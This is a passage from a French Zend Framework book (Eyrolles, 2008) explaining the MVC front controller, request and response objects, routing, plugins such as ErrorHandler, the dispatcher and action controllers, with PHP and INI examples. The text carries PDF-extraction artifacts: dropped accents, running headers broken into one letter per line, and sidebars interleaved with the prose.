sant par un autre objet.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
110
Capacits, possibilits
Sans vouloir rpter le schma UML, voici certaines actions remarqua-
bles quil est possible de raliser avec le contrleur frontal :
lui passer, avant la distribution de la requte, un objet de requte et/
ou de rponse prconfigur ;
lui demander de dsactiver les fonctionnalits intgres, telles que le
plugin de dtection derreurs (ErrorHandler) et/ou laide daction de
rendu automatique de la vue (ViewRenderer) ;
lui enregistrer des plugins ;
lui demander de nous fournir linstance du routeur et du distributeur
utiliss (le contrleur frontal est le seul objet capable de raliser cela) ;
lui demander de renvoyer les exceptions quil a rencontres lors du
processus de distribution et de rpartition de la requte, plutt que de
se reposer sur le plugin ErrorHandler ;
lui passer des paramtres divers, quil va se contenter de propager
dans le systme MVC, et plus prcisment aux contrleurs daction
(en passant par le distributeur). Il agit ainsi comme un registre global
pour MVC.
Figure 77
Diagramme de classes simplifi de lobjet
Zend_Controller_Front
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
111
Dtaillons quelques-unes de ces possibilits en regardant notre applica-
tion dexemple :
bootstrap : index.php
La configuration minimale requise pour le contrleur frontal est simple.
Il sait se dbrouiller tout seul, crer et manipuler tous les objets dont il
aura besoin. Il demande, en revanche, de connatre absolument le rper-
toire o se trouvent les contrleurs daction. La mthode
setControllerDirectory() permet de le lui indiquer.
Il est aussi possible de lui spcifier un dossier qui comportera des
modules avec addModuleDirectory(). Il va ainsi parcourir ce dossier la
recherche de rpertoires appels controllers.
La mthode setParam() permet denvoyer un paramtre propager dans
le MVC. Ce processus est trs semblable lutilisation de
Zend_Registry, si ce nest que les paramtres ne seront accessibles quaux
contrleurs daction, en invoquant leur mthode getInvokeArg(). Dans
notre exemple, nous passons certains objets indpendants du MVC, de
manire pouvoir les partager entre tous les contrleurs et les utiliser
pleinement au sein de ceux-ci.
Suite de index.php
Ici, nous crons nous-mmes un objet de rponse, et nous le passons au
contrleur frontal afin que le systme MVC lutilise.
$frontController = Zend_Controller_Front::getInstance();
$frontController->setControllerDirectory($appPath . '/controllers');
$frontController->throwExceptions(false);
// propagation de paramtres dans le systme MVC
$frontController->setParam('debug', $configMain->debug);
$frontController->setParam('locale', $locale);
$frontController->setParam('config', $configMain);
// enregistrement du plugin de sauvegarde de la page prcdente
$plugin = new Zfbook_Controller_Plugins_Session;
$frontController->registerPlugin($plugin);
// configuration dun en-tte de rponse HTTP global
$response = new Zend_Controller_Response_Http();
$response->setRawHeader('Content-type: text/html;
X charset=utf-8');
// passage de la rponse configure au systme MVC
$frontController->setResponse($response);
IMPORTANT Objets par dfaut
Lors de la distribution de la requte, le contrleur
frontal cre lui-mme tous les objets dont il a
besoin, sauf si ceux-ci lui ont t passs explicite-
ment. Une erreur courante consiste crer et con-
figurer lun de ces objets et doublier btement de
passer son instance au contrleur frontal.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
112
Les objets que le contrleur frontal cre et utilise, si on ne lui passe pas
dinstances explicites, sont les suivants :
lobjet de requte ;
lobjet de rponse ;
le distributeur (dispatcheur) ;
le routeur.
Changer lun de ces objets en injectant une instance personnalise va
donc avoir des rpercussions dans tout le modle MVC, et toute lappli-
cation sera concerne directement.
Lancer l'application au travers du contrleur frontal
Suite de index.php
Trs important : la distribution et rpartition de la requte. dispatch()
lance le processus MVC complet. partir de cet instant, le contrleur
frontal, frachement configur, va assurer un norme travail dorchestra-
tion du processus MVC.
Les exceptions que le contrleur frontal va ventuellement rencontrer vont
ici tre traites par le plugin ErrorHandler et ne devraient, en thorie,
jamais remonter jusquau bootstrap, ni donc jusqu ce bloc try/catch.
Ceci en raison de la ligne $frontController->throwExceptions(false).
Le comportement par dfaut du contrleur frontal consiste ne pas faire
remonter au niveau de sa mthode dispatch() les exceptions quil ren-
contre ventuellement. Ce comportement suit les rgles suivantes :
si on passe false la mthode throwExceptions() (comportement par
dfaut), alors le plugin ErrorHandler distribuera le contrleur derreur,
si une exception est leve, nimporte o dans le systme MVC ;
si une exception est leve dans le contrleur derreur utilis par
ErrorHandler, alors celle-ci remontera tout de mme au niveau de la
mthode dispatch(), autrement une boucle infinie risque
dapparatre ;
si on passe true la mthode throwExceptions(), alors le plugin
ErrorHandler nest pas enregistr dans le systme MVC, et toute
exception y apparaissant remontera directement jusqu lappel de la
mthode dispatch() sur le contrleur frontal.
try {
$frontController->dispatch();
} catch (Zend_Exception $e) {
$log->crit($e);
}
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
113
Pour conclure sur la gestion des exceptions, il faut systmatiquement
entourer la mthode dispatch() dun bloc try/catch, car mme si le con-
trleur derreur est utilis (cas par dfaut), il peut tout de mme sy pro-
duire une exception qui remontera alors jusqu lappel de dispatch().
Ainsi, les exceptions interceptes autour de la mthode dispatch() sont
importantes, tout simplement parce quelles ne devraient en thorie
jamais survenir, et toute votre attention sera ncessaire sur ce point.
Nous avons choisi ici de les conserver sous forme de journal, sans autre
forme de traitement.
Objet de requte
Introduction
Lobjet de requte reprsente la requte HTTP (sauf dans le cas des tests,
cas dtaill au chapitre 14). Trs simplement, il sagit dun objet qui va
piloter les tableaux PHP $_SERVER, $_ENV,$_GET, $_POST et $_COOKIE puis
qui va les rendre accessibles (et mme un peu plus) au moyen de mthodes.
Lobjet utilis par dfaut est Zend_Controller_Request_Http.
Figure 78
Diagramme de classes simplifi
de Zend_Controller_Request
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
114
Notions importantes
Les notions trs importantes comprendre sur cet objet sont les
suivantes :
Lobjet de requte comporte trois attributs protgs (possdant des
accesseurs) : $_controller, $_action et $_module. Ces attributs sont
remplis par le routeur lors du processus de routage et il dterminent
le module, le contrleur et laction lancer, via le distributeur. On
notera donc que modifier ces paramtres avant la distribution de la
requte va entraner un changement dans le contrleur distribu.
Cest ce que fait le plugin ErrorHandler par exemple.
Lattribut isDispatched est appel jeton de distribution, et il est posi-
tionn par dfaut false. Il joue un rle primordial dans la boucle de
distribution et de rpartition de la requte, lance par le contrleur
frontal. Tant quil est false, la boucle va tourner. Il est bien entendu
mis true par le distributeur au dbut du traitement de la requte,
juste avant linstanciation du contrleur daction adquat. Mais aprs,
il pourra tre remis false, par exemple par un appel
_forward()dans un contrleur daction. Une autre requte sera alors
joue et si on ne fait pas attention, on peut tomber dans une boucle
infinie. Souvenez-vous de lnonc que nous avions dtaill dans la
section Fonctionnement global de ce chapitre.
Buts et utilit
Concrtement, on interroge lobjet de requte principalement dans le
but de rcuprer les paramtres de la requte. Ceux-ci peuvent tre :
les paramtres GET, rcuprs via getQuery() ;
les paramtres POST, rcuprs via getPost() ;
les cookies, rcuprs via getCookie() ;
les paramtre du serveur, rcuprs via getServer() ;
les paramtres spciaux des routes dfinies manuellement, rcuprs
via getParam() ;
dautres encore...
Lobjet de requte donne aussi accs un paramtre important : la
baseUrl (URL de base ou URL racine). La baseUrl est lURL de base de
lapplication, partir de laquelle la route va tre calcule. Par exemple,
http://localhost/ZFBook/html/reservation/edit est une URL dont la baseUrl est
/ZFBook/html/. Cette dernire est calcule automatiquement par lobjet de
requte, sur demande du contrleur frontal lors de la distribution de la
requte, en utilisant un savant jeu entre les cls SCRIPT_FILENAME,
SCRIPT_NAME, PHP_SELF et ORIG_SCRIPT_NAME de $_SERVER. Cependant, si
celle-ci venait tre mal calcule, vous pourriez la spcifier manuelle-
ATTENTION
getParam() et sources de donnes
getParam() permet de rcuprer les para-
mtres quune route spciale aura dtects,
mais permet aussi de rcuprer des paramtres
GET ou POST. Gardez lesprit quil faut syst-
matiquement savoir do viennent les param-
tres. Se reposer sur getParam() en
permanence, mme pour rcuprer un para-
mtre GET, nest clairement pas recommand si
la route est susceptible elle aussi de rcuprer
un paramtre depuis lURL. Ceci peut mener
des erreurs difficiles dtecter, voire des pro-
blmes de scurit.
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
115
ment avec la mthode setBaseUrl() de lobjet de requte ou du contr-
leur frontal (qui va la renvoyer lobjet de requte).
Il a par exemple t reconnu que la cration dhtes virtuels Apache,
contenant des alias Apache, pose des problmes lors de la reconnaissance
automatique de la baseUrl. Cela fausse totalement le processus de rou-
tage et de cration de liens. Aussi, nous vous recommandons de rester le
plus simple possible dans vos URL et dviter les caractres exotiques qui
peuvent gner la dtection automatique de la baseUrl. Si vous avez
besoin de crer des applications complexes, bases sur des URL charges
ou grant des sous-domaines via le contrleur frontal, nous vous con-
seillons de bien lire toute la source de Zend Framework relative ces
questions, afin de bien en comprendre le fonctionnement.
Quoiquil en soit, dans la majeure partie des cas heureusement, la
baseUrl est calcule de manire correcte. Le routeur intervient alors
pour faire son travail (que nous dtaillerons bientt). Les mthodes rela-
tives la cration dURL possdent quelquefois un paramtre permet-
tant de prinsrer lURL de base aux URL (prependBase).
Objet de rponse
lautre extrmit de la chane MVC se situe lobjet de rponse. Il est
cr par le contrleur frontal, lors de la distribution de la requte, sauf si
on spcifie sa propre instance personnalise (ce que nous faisons dans
notre application).
Lobjet utilis par dfaut est Zend_Controller_Response_Http.
Le schma UML, reprsent sur la figure 7-9, est assez explicite pour en
comprendre le rle et les objectifs. En thorie, nous navons pas besoin
de toucher lobjet de rponse nous-mmes, une fois la distribution
lance, car cest lobjet de vue, ou de layout, qui va lutiliser pour rendre
son contenu lintrieur.
Le contenu de lobjet de rponse est compos de trois parties :
les en-ttes de la rponse HTTP ;
le corps (body) de la rponse HTTP, qui se dcompose lui-mme en
segments, reprsents par les cls dun tableau PHP, permettant des
permutations dans laffichage de la rponse (un texte affich un ins-
tant t peut tre stock dans un segment infrieur celui comportant
du texte rendu un instant t-1) ;
les exceptions qui ont t rencontres dans le systme MVC, qui sont
ajoutes par le contrleur frontal ou le distributeur.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
116
Intgr dans la chane MVC, cet objet est pilot par le contrleur frontal
et peut tre retourn par la mthode dispatch() de ce dernier, si
returnResponse(true) lui est pass. Dans le cas contraire, le contrleur
frontal demande lenvoi de la rponse la fin de la distribution de la
requte, au moyen de sa mthode sendResponse(). Celle-ci pilote sim-
plement lenvoi des en-ttes encapsuls dans lobjet de rponse au moyen
de la fonction header() de PHP, puis le contenu prsent dans les seg-
ments du corps de la rponse est affich avec un simple echo PHP.
Accder lobjet de rponse est possible en plusieurs points du modle
MVC :
dans le contrleur frontal, qui se charge aussi de crer cet objet si vous
ne lui en avez pas pass une instance avant la distribution de la requte ;
dans tous les plugins ;
dans tous les contrleurs daction ;
dans toutes les aides daction.
En temps normal, il nest pas de notre ressort de piloter cet objet. Nous
verrons plus tard quune aide daction appele ViewRenderer se charge de
rendre une vue pour chaque contrleur daction, dans le corps de lobjet
de rponse.
Figure 79
Diagramme de classes simplifi de
Zend_Controller_Response
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
117
Routeur
Introduction
Le diagramme de squence de la figure 7-5 le montre bien : pour chaque
requte HTTP, le routage nintervient quune et une seule fois.
Le routage est laction qui consiste analyser lURL afin den dduire un
module, un contrleur, une action et des paramtres qui vont tre enre-
gistrs dans lobjet de requte, puis traits par le distributeur.
Le routeur par dfaut est un objet Zend_Controller_Router_Rewrite, et
cest actuellement le seul routeur de Zend Framework. Comme son nom
lindique, cest un routeur de rcriture, cest--dire quil va donner une
signification smantique aux URL de lapplication en fonction de rgles.
Par contre, il ne travaille pas seul : il utilise des routes, objets implmen-
tant Zend_Controller_Router_Route_Interface, pour assurer ce rle.
Figure 710
Diagramme de classes simplifi
de Zend_Controller_Router
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
118
Fonctionnement
Le fonctionnement du routeur est le suivant :
il utilise le Path_Info de la requte pour ses analyses ;
il passe par toutes les routes qui y sont enregistres et il leur demande,
en ordre LIFO (Last In, First Out ou dernier entr, premier sorti),
danalyser le Path_Info de la requte ;
la premire route qui trouve une correspondance est utilise et arrte
le processus de routage ;
ds quune route trouve une correspondance, elle la renvoie au routeur
qui linjecte alors dans les paramtres $_controller,
$_action,$_module et $_params de lobjet de requte ;
les correspondances sont tablies en interne avec des expressions
rgulires.
La route par dfaut dans le routeur est un objet
Zend_Controller_Router_Route_Module. Cest cette route qui utilise le pat-
tern http://base-url/[module]/controller/action/param1/valeur1.
Ce pattern permet de rendre le module facultatif ; ainsi, la route par dfaut
essayera de dterminer tout dabord un module, en se rfrant ceux dfinis
dans le contrleur frontal, puis, si elle nen trouve pas, elle envisagera un
contrleur. Cest pour cela que diffrentes URL comme http://base-url/
somecontroller/someaction et http://base-url/defaultmodule/
somecontroller/someaction/ mnent vers le mme rsultat.
Il est possible de totalement personnaliser le processus de routage en
ajoutant des routes bases sur lune des nombreuses classes du routeur
prvues cet effet. La documentation officielle dtaille correctement
tout cela. Voyons un exemple avec notre application qui se base large-
ment sur le routage par dfaut, mais dfinit trois routes personnalises
appeles reservations, unauthorized et contact.
Dfinition de routes personnalises, index.php
// extraction de lobjet routeur
$router = $frontController->getRouter();
// dfinition et ajout de routes contact
// ...
// $configRoutes est un objet Zend_Config
$router->addConfig($configRoutes, 'routes');
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
119
Nous avons jug que le plus intressant tait de jouer avec la capacit
qua le routeur dinteragir avec un objet Zend_Config. Voici le ntre :
application/config/routes.ini
Nous utilisons deux types de routes : une route statique permettant de
faire correspondre de manire permanente une URL un trio module/
contrleur/action ; et une route base sur une expression rgulire.
Figure 711
Diagramme de classes
des routeurs disponibles
routes.contact.type = Zend_Controller_Router_Route_Static
routes.contact.route = contactez-nous
routes.contact.defaults.controller = index
routes.contact.defaults.action = contact
routes.reservations.type = Zend_Controller_Router_Route_Regex
routes.reservations.route = "lister-les-reservations-page-(\d+)"
routes.reservations.defaults.controller = reservation
routes.reservations.defaults.action = list
routes.reservations.defaults.page = 1
routes.reservations.map.1 = page
routes.reservations.reverse = lister-les-reservations-page-%d
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
120
Pour ne pas nous contenter de rpter la documentation, notons plutt
les points importants concernant le fonctionnement des routes sous
Zend Framework :
Les routes sont analyses dans lordre LIFO : la dernire route
ajoute sera essaye en premier, et la premire route de la pile qui
trouve correspondance avec lURL sera utilise. Mfiez-vous lorsque
vous avez beaucoup de routes, commencez toujours par crire la plus
gnrique jusqu la plus spcifique, en dernier.
Nommez toujours vos routes et faites attention ne pas craser la
route par dfaut, nomme default. Le cas chant, prenez cons-
cience que le systme danalyse des URL par dfaut sera alors annul
par la route que vous dfinissez comme tant celle par dfaut.
Les routes utilisent des expressions rgulires parfois charges qui
peuvent altrer les performances. Plus vous avez de routes (a fortiori
bases sur la route Regex), plus lalgorithme sera lent.
Le routeur fonctionne double sens et les aides de vue et daction
appeles url utilisent directement le routeur, voire la route que vous
leur spcifiez en paramtre pour crer des URL (reverse).
Lorsque vous dfinissez des paramtres de requte dans vos routes, ils
seront accessibles via la mthode getParam() de lobjet de requte, et
il auront le nom que vous leur avez donn.
Plugins de contrleur frontal
Les plugins sont des classes qui tendent
Zend_Controller_Plugin_Abstract. Leurs instances sont cres et ajou-
tes manuellement au contrleur frontal, avant la distribution de la
requte. Leur but est dintercaler un traitement qui est commun toute
lapplication. Plutt que de dupliquer ce traitement dans toutes les
actions, ou de driver une classe du systme MVC de Zend Framework,
la cration dun plugin est souvent la solution ce type de problme.
titre dexemple, tudions le plugin prsent dans notre application :
Zfbook/Controller/Plugin/Session.php
<?php
class Zfbook_Controller_Plugins_Session extends
X Zend_Controller_Plugin_Abstract
{
private $_session;
private $_clientHeaders;
public function __construct()
{
RAPPEL Processus MVC
Nous vous suggrons de bien relire le processus
MVC global, que nous avons dcrit dans ce cha-
pitre, dans la section Fonctionnement Global,
et de bien vous en imprgner.
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
121
Pour la prise en compte de ce plugin, il est ncessaire de le dclarer dans
le bootstrap de la manire suivante :
Dclaration du plugin dans le bootstrap
La construction du plugin nintervient quune seule fois par requte
HTTP. la construction, nous analysons les en-ttes HTTP du client
et nous les stockons dans un attribut priv de la classe.
Sur lvnement dispatchLoopStartup(), qui intervient pour rappel juste
avant lentre en boucle de distribution et de rpartition de la requte,
nous vrifions si lutilisateur client est bien identifi. Si tel est le cas,
alors nous comparons les en-ttes de son navigateur ceux stocks dans
la session lors de sa prcdente visite. Sils ne correspondent pas, alors il
ne sagit trs probablement pas de la mme personne, la session a certai-
$this->_session = Zend_Registry::get('session');
$this->_clientHeaders = $_SERVER['HTTP_USER_AGENT'];
if (array_key_exists('HTTP_ACCEPT', $_SERVER)) {
$this->_clientHeaders .= $_SERVER['HTTP_ACCEPT'];
}
$this->_clientHeaders = md5($this->_clientHeaders);
}
public function dispatchLoopStartup(
X Zend_Controller_Request_Abstract $request)
{
if(Zend_Auth::getInstance()->hasIdentity()) {
if ($this->_session->clientBrowser
X != $this->_clientHeaders) {
Zend_Session::destroy();
$this->_response->setHttpResponseCode(403);
$this->_response->clearBody();
$this->_response->sendResponse();
exit;
}
}
}

public function dispatchLoopShutdown()
{
$this->_session->requestUri =
X $this->getRequest()->getRequestUri();
$this->_session->clientBrowser = $this->_clientHeaders;
}
}
$frontController = Zend_Controller_Front::getInstance();
// ...
$frontController->registerPlugin(new
Zfbook_Controller_Plugins_Session);
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
122
nement t intercepte et nous arrtons le traitement sur-le-champ, en
prenant soin de dtruire la session.
Sur lvnement dispatchLoopShutdown(), qui intervient juste aprs la
sortie de la boucle de distribution de la requte (il ne reste donc plus
daction distribuer, et nous nous apprtons rendre la rponse au
client), nous enregistrons simplement en session les en-ttes du naviga-
teur client, afin de pouvoir nous en servir dans la requte suivante, titre
de comparaison. Aussi, nous profitons de cet vnement pour enregistrer
lURL actuelle en session. Ceci nous servira pour renvoyer lutilisateur
do il vient.
Comme nous le voyons sur la figure 7-12 :
Les plugins sont enregistrs dans le contrleur frontal, au travers dun
objet gestionnaire de plugins : Zend_Controller_Plugin_Broker.
Concernant linsertion, la suppression et la modification des plugins,
vous soumettez votre demande au contrleur frontal qui, lui, sadresse
au gestionnaire.
Le lien entre le contrleur frontal et son gestionnaire de plugins est
une composition : il nest donc pas possible de changer linstance du
gestionnaire par la vtre, sans surcharger le contrleur frontal.
Les plugins sont enregistrs dans le gestionnaire dans un ordre que
vous pouvez librement dterminer. Le contrleur frontal les excute
Figure 712
Diagramme de classes simplifi
de la gestion des plugins
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
123
les uns aprs les autres, dans lordre de la pile. Attention, car en fonc-
tion de cet ordre, les plugins peuvent provoquer des effets de bord et
interfrer entre eux gardez bien cela lesprit.
Les plugins sont en relation troite avec lobjet de requte et lobjet de
rponse. En effet, lun de leurs rles peut consister modifier ces objets.
Un plugin est enregistr par dfaut dans le gestionnaire ErrorHandler.
Il possde le numro de pile 100, et on peut le dsactiver et le modifier.
De plus, si vous utilisez Zend_Layout, alors un plugin de layout existe
aussi. Il possde le numro de pile 99, cest--dire quil se trouve juste
avant le ErrorHandler, ce qui est trs important noter. Cela vous
laisse la place pour injecter 98 autres plugins.
Plugins inclus dans la distribution de Zend Framework
Nous dtaillons ici les plugins inclus dans Zend Framework. Ceci va
vous permettre dans un premier temps de les utiliser, et dans un second
temps de mieux comprendre leur rle, par des exemples tout aussi con-
crets que notre plugin personnalis.
ErrorHandler
Le plugin ErrorHandler est actuellement le seul plugin activ par dfaut
dans la chane MVC de Zend Framework. Son fonctionnement dtaill
est le suivant :
1 Le plugin agit en postDispatch, donc aprs la distribution de toute
action, vu que la mthode postDispatch() est incluse dans la boucle
de distribution et de rpartition de la requte.
2 Il va analyser lobjet de rponse, afin de dtecter si celui-ci contient
des exceptions que le distributeur lui aurait passes lors de la distribu-
tion du contrleur daction. Ces exceptions peuvent provenir de
nimporte o : du contrleur daction, certes, mais aussi des aides
daction, dautres plugins, ou encore des objets internes.
3 Si une exception est dtecte dans lobjet de rponse, alors le plugin
va demander une autre distribution, en remettant false le jeton
contenu dans lobjet de requte, et en lui passant les module/contr-
leur/action utiliss pour laffichage de lerreur.
4 En plus de demander la distribution du contrleur derreur, le plugin
enregistre un paramtre dans le contrleur frontal, error_handler,
qui contient, entre autres choses, lexception en question.
5 Si une exception est dtecte pendant la tentative de distribution du
contrleur derreur, alors il faut utiliser une sortie durgence, sinon la
boucle de distribution de requte devient infinie. Le plugin demande
ensuite au contrleur frontal de renvoyer les exceptions et envoie lui
mme lexception quil tait charg de traiter.
MMORISER Ordre des plugins
Il est important de matriser lordre dapparition de
ses plugins. Les erreurs les plus courantes viennent
du fait que les dveloppeurs se retrouvent souvent
avec plusieurs (dizaines de) plugins, mais finissent
par perdre la matrise de leur excution, ce qui
gnre des problmes de recouvrement : un plugin
en aval change le contexte dexcution dun plugin
en amont, et leffet de bord est invitable.
Figure 713
Diagramme de classes simplifi
du plugin ErrorHandler
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
124
Pour le dsactiver, il faut passer le paramtre noErrorHandler au contr-
leur frontal, avant la distribution de la requte bien entendu, soit :
$fontController->setParam('noErrorHandler', true); Ceci a tout
simplement pour effet de ne pas enregistrer ce plugin dans le gestion-
naire de plugins.
Vous pouvez modifier les module/contrleur/action que le plugin
ErrorHandler utilisera pour traiter les erreurs. Le schma UML illustr
sur la figure 7-13 prcise ces mthodes, suffisamment explicites.
Layout plugin
Si vous activez les layouts (gabarits), via la mthode
Zend_Layout::startMVC(), alors un plugin va tre enregistr dans le con-
trleur frontal, au rang 99, donc juste avant le ErrorHandler. Aussi, une
aide daction sera enregistre, fonctionnant en en duo avec ce plugin.
Le fonctionnement de ce plugin est le suivant :
1 Le plugin possde en lui une instance de Zend_Layout, objet capable
de rendre une vue un peu particulire (une vue comportant une
variable permettant dintgrer le contenu dune autre vue).
2 Le plugin agit en postDispatch, donc aprs la distribution de toute
action, puisque la mthode postDispatch() est incluse dans la boucle
de distribution et de rpartition de la requte.
3 Le plugin dtecte sil sagit bien de la dernire action traite, et pour
cela il scrute le jeton isDispatched de lobjet de requte. Sil sagit de
la dernire action de la pile, alors il regarde si les layouts sont bien
activs (ils ont pu tre dsactivs entre-temps dans un contrleur
daction, par exemple).
4 Si tout se passe bien (point prcdent), alors le plugin demande au
layout de rendre son script dans le segment de rponse appropri, ces
deux paramtres tant rglables par linstance de Zend_Layout.
5 Si une exception est leve lors du rendu du layout, alors le contenu de
la rponse est vid, lexception est intercepte, traite, puis renvoye
afin que le plugin ErrorHandler, agissant juste aprs, puisse la traiter.
ActionStack
ActionStack porte bien son nom : ce plugin sert grer une queue
dactions enchaner. Son utilisation est plutt rare, car il est coupl
une aide daction du mme nom qui le pilote.
Le fonctionnement de ce plugin est simple :
1 Il est enregistr dans le gestionnaire de plugins au rang 97, grce
laide daction, soit avant le plugin ErrorHandler, ce qui est important
tant donn que tous deux utilisent le jeton de distribution.
REMARQUE Zend_Layout hors MVC
Remarquez que le plugin Layout est situ dans
un autre paquetage que Zend_Controller.
La raison est simple : comme pour Zend_View, il
faut que Zend_Layout soit utilisable hors con-
texte MVC. Il possde des possibilits daccroche
avec le modle MVC (un plugin et une aide
daction), mais il doit pouvoir aussi tre manipul
totalement en dehors de celui-ci.
Figure 714 Diagramme de classes simplifi
du plugin Layout
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
125
2 Si vous nutilisez pas laide daction pour lenregistrer, mais directe-
ment le contrleur frontal, mfiez-vous du rang que vous lui donnez.
3 Il agit en postDispatch, donc aprs la distribution de toute action,
puisque la mthode postDispatch() est incluse dans la boucle de dis-
tribution et de rpartition de la requte.
4 Il vrifie le jeton de distribution afin de savoir si des actions restent
traiter. Si ce nest pas le cas, il agit simplement en rangeant laction au
plus bas de sa queue et en la plaant dans lobjet de requte, tout en
remettant le jeton de distribution false.
5 Pour stocker sa queue dactions, il utilise une cl de registre dans
Zend_Registry.
Le distributeur (dispatcheur)
Dans lombre du systme MVC se situe le distributeur, dont on saisit
souvent mal les rles, pourtant cruciaux.
Le distributeur, dont le diagramme UML est reprsent sur la figure 7-16,
est la colle qui lie les objets de rponse et de requte, aux contrleurs
daction.
Lors de la distribution de la requte, le contrleur frontal passe au distri-
buteur lobjet de requte (rout), lobjet de rponse et les paramtres
additionnels. Le distributeur doit donc effectuer toute la suite du traite-
ment, savoir :
Figure 715 Diagramme de classes simplifi
du plugin ActionStack
Figure 716 Diagramme de classes simplifi du distributeur
PRCISION Liaison contrleur frontal
et distributeur
La plupart des mthodes proposes par le contr-
leur frontal renvoient vers des mthodes du distri-
buteur. Le contrleur frontal est trs dpendant du
distributeur. Lorsque vous passez des paramtres
additionnels au contrleur frontal via sa mthode
setParam(), ceux-ci seront transmis au distri-
buteur lors de la distribution et de la rpartition de
la requte, qui les retransmettra son tour aux
contrleurs daction quil instanciera.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
126
1 analyser les attributs module/contrleur/action de la requte, afin
den dduire la classe du contrleur daction instancier, ainsi que
lendroit o elle se trouve (son module) ;
2 si un problme est dtect, il est possible de demander au distributeur
de distribuer un contrleur par dfaut, en passant au distributeur (ou
au contrleur frontal qui le relaiera) le paramtre
useDefaultControllerAlways ;
3 positionner le jeton de distribution true, afin de spcifier au sys-
tme (et notamment au contrleur frontal qui possde la boucle) qu
ce stade-l, il ne reste plus daction distribuer ;
4 dmarrer la mise en mmoire tampon (bufferisation) de sortie
(ob_start()), sauf si lon a pass le paramtre
disableOutputBuffering au distributeur ou au contrleur frontal. La
bufferisation a pour but dintercepter tout affichage (echo, erreurs
PHP ventuelles, fuites de sortie), et de les ajouter la suite du corps
de lobjet de rponse ;
5 instancier le bon contrleur et lui faire excuter la bonne action ;
6 dtruire linstance du contrleur daction et ainsi librer la mmoire
et tous les caches rsidants ventuels (objets de lAPI de Rflexion,
par exemple, voir en annexe C) ;
7 si une exception quelconque est leve nimporte quelle tape, celle-
ci sera traite conformment au paramtre spcifi par la mthode
throwException() du contrleur frontal.
On voit clairement que les rles du distributeur sont essentiels et criti-
ques. Il est en fait le point central et le talon dAchille du systme MVC
complet, puisquun changement quelconque dans cet objet peut boule-
verser considrablement le comportement global de lapplication. Ainsi,
ltendre peut savrer trs intressant dans certains cas, notamment pour
personnaliser la recherche ou le nommage des contrleurs.
Les contrleurs daction
Introduction
Les contrleurs daction sont le cur de lapplication, parce quils poss-
dent le code utile, celui que lon voit et que lon crit entirement. Ils
sont la colle entre le modle et la vue. Dans le schma MVC, on peut
dire quils reprsentent le C.
Tous hritent de Zend_Controller_Action, classe abstraite qui reprsente
toute la logique de traitement des actions. Dans le flux MVC gnral, nos
contrleurs daction sont instancis par le distributeur, qui leur passe :
lobjet de requte, qui vient dtre rout ;
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
127
lobjet de rponse, qui peut dj avoir t rempli partiellement ;
les paramtres invoqus par le contrleur frontal, via sa mthode
setParam().
Comme on le voit sur le schma UML, figure 7-17, nos contrleurs
daction vont hriter de toute une quantit de mthodes et de proprits
protges, qui vont leur permettre de vivre dans le systme MVC et
dinteragir avec celui-ci. Notons les lments importants suivants :
chaque action va embarquer une instance de la classe
Zend_Controller_Action_HelperBroker dans sa proprit protge
$_helper : il sagit du gestionnaire daides daction (nous allons
revenir dessus plus tard) ; son fonctionnement est similaire au ges-
tionnaire de plugins vu plus tt dans ce chapitre ;
chaque action embarque aussi une instance de la vue Zend_View, per-
mettant dassurer pleinement le rle du contrleur (passer des varia-
bles la vue) ;
enfin, chaque action hrite des mthodes protges de
Zend_Controller_Action, nous allons bien entendu les dtailler dici
peu.
Figure 717
Diagramme de classes simplifi
du contrleur daction
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
128
Nous avons vu, dans la partie prcdente, que chaque action devait tre
crite sous forme de nom de mthode dans le contrleur daction, en
minuscules, et suivies du suffixe Action. Nous allons maintenant
dtailler la manire dont se droule techniquement une action.
Droulement dune action
Dans un premier temps, le distributeur invoque la mthode dispatch()
de la classe Zend_Controller_Action, donc de notre contrleur, puisque
nous en hritons. Cette mthode dcrit alors la squence suivante :
1 excuter preDispatch() sur toutes les aides daction ;
2 excuter la mthode preDispatch() de notre contrleur, si celui-ci a
pris la peine de redfinir celle prsente dans Zend_Controller_Action ;
3 excuter la mthode daction xxxAction() proprement parler, si les
